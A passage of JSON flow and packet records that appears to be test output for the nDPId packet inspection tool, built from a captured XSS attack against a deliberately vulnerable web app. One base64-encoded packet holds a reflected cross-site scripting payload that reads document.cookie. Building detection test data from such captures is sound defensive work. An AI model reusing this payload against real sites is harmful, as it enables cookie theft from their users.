2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":227,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3274,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":317337,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GINAAD4GrVWsEAABwKgKMtvyAFB7gn9n+452tIAQATkN6wAAAQEICgE6aFUD5DnK"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3275,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":1499347361540,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56374,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":231,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3275,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":540867,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8izFAAD4GOp+sEAABwKgKMtw2AFCL9eO9AAAAAKACchCpAwAAAgQFtAQCCAoBOmiMAAAAAAEDAwc="} +00445{"flow_id":231,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3276,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":540996,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3Db87gPNi\/XjvqAScSBrQAAAAgQFtAQCCAoD5DoCATpojAEDAwc="} +00433{"flow_id":231,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3277,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":541590,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0izJAAD4GOqasEAABwKgKMtw2AFCL9eO+\/O4DzoAQAOUKRwAAAQEICgE6aI0D5DoC"} +01216{"flow_id":227,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3278,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":542521,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9GIRAAD4GqwusEAABwKgKMtvyAFB7gn9n+452tIAYATkIuQAAAQEICgE6aI0D5DnKR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdaQjFWM040TU4yVUlMVExVT1FZR0ZOMzMzS1UxWTEyTklKUDdHUFM3TEVHNzBOUTIyQyUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02391{"flow_id":227,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3279,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":545728,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMGxFOsxABm5CmnxCABFAAXcWSBAAEAGZRDAqAoyrBAAAQBQ2\/L7jna0e4KBsIAQAQdizAAAAQEICgPkOgMBOmiNSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjIyOjQxIEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye08bORD\/G6R+B59POqASawIn9UqTrSDhkbtA0yaB9nTSytl1EhPvemt7E\/j2N95HsjzDNkgoeO15\/MYzHs\/43Wb9t9aXZv9H9wRNTChQd3DcaTcR3iXk+qBJSKvfQt\/P+xcdVHP2UM8o7htCTi4xwhNj4kNC5vO5Mz9wpBqT\/jdya6XULFs+3NUpjxOYALvvNt9t1lM9t6GIdOMJGbWPHz9mrBn5Rn3CaADDjY16yAxFlmWX\/Uz4rIGbMjIsMrv9u5hh5GdfDWzYrSFWxCfkT6jSzDQG\/dPdvzAimcyNuuFGMPcqERFTdMgFN3eH6BsbCeYbFqCmklqjHjcM9XzFY8OjMdr+3uvtoMND1KJhhApewdA1G6KjOBbcp4bLCG23rq6PdtCs5tT20PsWmzEh4xCgva+TTHGOQvBoihQTDazNnWB6wpjByIA1uRG+1hhNFBs1sOMQ+Atmc2pnSUh55KTL5LE0DltRyPmPh3TMCEzdlzSiM0vmpAsLGTq1tgzhhs5oNouRVv49IDc6\/d8FBc6Nxm6dZJS550juOjseyuAO+YJq63UZMpy5NOAzxIMGtr4Di5jKvV5askJK8xt1Ho4fIUmN1ETIsXTiaIwRFRAIKxy1tBuwgrpHqu0me+C4pKT90ZoX0yBgQWYQECSisNOuHgvpT+3WCI5k5IPqaQPPeRTIuQNLKY7GVmaJs4ULVmCg99zlYPcctq1OKOyy4O7mawTyCE5f4tsp7cST+AX5D0mx2y7NVFMLBy6JV+hb0GC3Z4eIwPGDSdQ6LikjiXDX2NBZ6XxzCI+hSgwjL6B6mgG7x\/Y\/OpXKr+iBhwLZLfOrAEjpsduUYUijALWjG5Z6ZD0UvlajKihSekDR+3a6nuIRJ87nGI5qgwNnErAVUfIqfuyecjjcbTuj196bJBaSBlV2J+fIYQzSrzX9Q2MDN1clF+Us6bllfqIYah51+83zo\/Wg6J+CV8GR0sOZ\/tp5q2C1Er0hXG6VnFLieoAGbR\/b6Z31UM0ZnXq8EqSCBbvXMEI9pm20onarYnp9KPdWa68SkIwBu1DPQK3y5WLNrbDiVEm\/ZlkV9SocqsCxKL7eAI2uuhu6QNEzUt2HsOYVlJ5FqC5XXodLMuza+hHiI5uqth3Az6ORXKGuRIXd7nkXTsdIVlNEhzIxK9QsaLB7ZIdvt6220FupfkmE3U46fgAgr9ju1X7PF4K2hF0WgtDJ2NVct10rF4L1Se1XugsomWt5wVwSPltUsJ4vA+ZRxWheP4+kClFEQ6jWgR\/K3jTFNfDvGEG3NJGA\/eykn9em9Ti3+HpCzZZGdzJRKfPnorKO4qRc\/ONctP1d1LdlIp0MQw5kMyoS+Oxln7k2ErtZU0EsygxvrJh7zoSQKG81XKj8tRQMPDze3vr3uHZ1cPnnxeX+oN3pdwZfvv44O708ODj4Z1D7Udu\/bP8="} +00433{"flow_id":228,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3282,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":715858,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hshAAD4GPxCsEAABwKgKMtwAAFAJPOVev\/1lUYARAOVryQAAAQEICgE6aLgD5DUR"} +00434{"flow_id":228,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3283,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":716092,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0X39AAEAGZFnAqAoyrBAAAQBQ3AC\/\/WVRCTzlX4ARAONmrQAAAQEICgPkOi4BOmi4"} +00433{"flow_id":228,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3284,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347361,"pkt_ts_usec":716828,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hslAAD4GPw+sEAABwKgKMtwAAFAJPOVfv\/1lUoAQAOVmqwAAAQEICgE6aLgD5Dou"} +00432{"flow_id":229,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3292,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347363,"pkt_ts_usec":715816,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p9JAAD4GHgasEAABwKgKMtwOAFCyy8MEKmHfx4ARAOX8fwAAAQEICgE6aqwD5DZJ"} +00434{"flow_id":229,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3293,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347363,"pkt_ts_usec":716085,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA04+VAAEAG3\/LAqAoyrBAAAQBQ3A4qYd\/HssvDBYARAOP2pwAAAQEICgPkPCIBOmqs"} +00432{"flow_id":229,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3294,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347363,"pkt_ts_usec":716833,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0p9NAAD4GHgWsEAABwKgKMtwOAFCyy8MFKmHfyIAQAOX2pQAAAQEICgE6aqwD5Dwi"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3298,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":1499347364056,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56400,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":232,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3298,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347364,"pkt_ts_usec":56755,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8+jlAAD4Gy5asEAABwKgKMtxQAFCMb5E4AAAAAKACchD4fwAAAgQFtAQCCAoBOmsBAAAAAAEDAwc="} +00443{"flow_id":232,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3299,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347364,"pkt_ts_usec":56881,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3FBchRpEjG+ROaAScSBCOgAAAgQFtAQCCAoD5Dx3ATprAQEDAwc="} +00431{"flow_id":232,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3300,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347364,"pkt_ts_usec":57638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+jpAAD4Gy52sEAABwKgKMtxQAFCMb5E5XIUaRYAQAOXhQAAAAQEICgE6awID5Dx3"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":310,"flow_first_seen":1499347228091,"flow_last_seen":1499347294990,"flow_tot_l4_data_len":242306,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":781,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54956,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":6,"flow_first_seen":1499347290163,"flow_last_seen":1499347295228,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55618,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":6,"flow_first_seen":1499347290163,"flow_last_seen":1499347295228,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55618,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":6,"flow_first_seen":1499347292725,"flow_last_seen":1499347298700,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55646,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":6,"flow_first_seen":1499347292725,"flow_last_seen":1499347298700,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55646,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":6,"flow_first_seen":1499347295224,"flow_last_seen":1499347300701,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55672,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":6,"flow_first_seen":1499347295224,"flow_last_seen":1499347300701,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55672,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":6,"flow_first_seen":1499347296462,"flow_last_seen":1499347301701,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55686,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":6,"flow_first_seen":1499347296462,"flow_last_seen":1499347301701,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55686,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":6,"flow_first_seen":1499347297732,"flow_last_seen":1499347303701,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55700,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3304,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":6,"flow_first_seen":1499347297732,"flow_last_seen":1499347303701,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55700,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3307,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":1499347365320,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56414,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":233,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3307,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347365,"pkt_ts_usec":320773,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8CZFAAD4GvD+sEAABwKgKMtxeAFCYJmWsAAAAAKACchAXCwAAAgQFtAQCCAoBOmw9AAAAAAEDAwc="} +00444{"flow_id":233,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3308,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347365,"pkt_ts_usec":320933,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3F6n4QiemCZlraAScSAl0wAAAgQFtAQCCAoD5D2zATpsPQEDAwc="} +00432{"flow_id":233,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3309,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347365,"pkt_ts_usec":321650,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CZJAAD4GvEasEAABwKgKMtxeAFCYJmWtp+EIn4AQAOXE2QAAAQEICgE6bD4D5D2z"} +00433{"flow_id":230,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3313,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347365,"pkt_ts_usec":716431,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0h\/9AAD4GPdmsEAABwKgKMtwoAFB3hOCwt03TB4ARAOWVYQAAAQEICgE6bKAD5DjI"} +00432{"flow_id":230,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3314,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347365,"pkt_ts_usec":716661,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07RFAAEAG1sbAqAoyrBAAAQBQ3Ci3TdMHd4TgsYARAOOQFAAAAQEICgPkPhYBOmyg"} +00432{"flow_id":230,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3315,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347365,"pkt_ts_usec":717432,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0iABAAD4GPdisEAABwKgKMtwoAFB3hOCxt03TCIAQAOWQEQAAAQEICgE6bKED5D4W"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3319,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":1499347366586,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56428,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":234,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3319,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347366,"pkt_ts_usec":586774,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8voxAAD4GB0SsEAABwKgKMtxsAFDi5tP2AAAAAKACchBctQAAAgQFtAQCCAoBOm16AAAAAAEDAwc="} +00445{"flow_id":234,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3320,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347366,"pkt_ts_usec":586869,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3GzFvqcC4ubT96AScSCt\/gAAAgQFtAQCCAoD5D7wATptegEDAwc="} +00432{"flow_id":234,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3321,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347366,"pkt_ts_usec":587628,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0vo1AAD4GB0usEAABwKgKMtxsAFDi5tP3xb6nA4AQAOVNBgAAAQEICgE6bXoD5D7w"} +00433{"flow_id":231,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3325,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347366,"pkt_ts_usec":716281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0izNAAD4GOqWsEAABwKgKMtw2AFCL9eO+\/O4DzoARAOUFOQAAAQEICgE6bZoD5DoC"} +00433{"flow_id":231,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3326,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347366,"pkt_ts_usec":716537,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0PN5AAEAGhvrAqAoyrBAAAQBQ3Db87gPOi\/Xjv4ARAOMALAAAAQEICgPkPxABOm2a"} 